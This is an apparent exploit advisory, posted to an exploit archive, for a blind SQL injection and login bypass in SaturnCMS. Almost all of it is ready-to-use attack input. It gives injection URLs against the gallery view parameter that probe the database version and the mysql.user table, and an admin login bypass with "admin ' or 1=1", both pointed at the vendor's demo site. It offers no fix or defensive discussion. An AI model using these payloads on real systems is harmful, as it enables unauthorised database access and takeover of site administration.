SaturnCMS (view) Blind SQL Injection Vulnerability

==================================================
SaturnCMS (view) Blind SQL Injection Vulnerability
==================================================


SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X
___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

Password : inj3ct0r




#  0day.today [2018-02-16]  #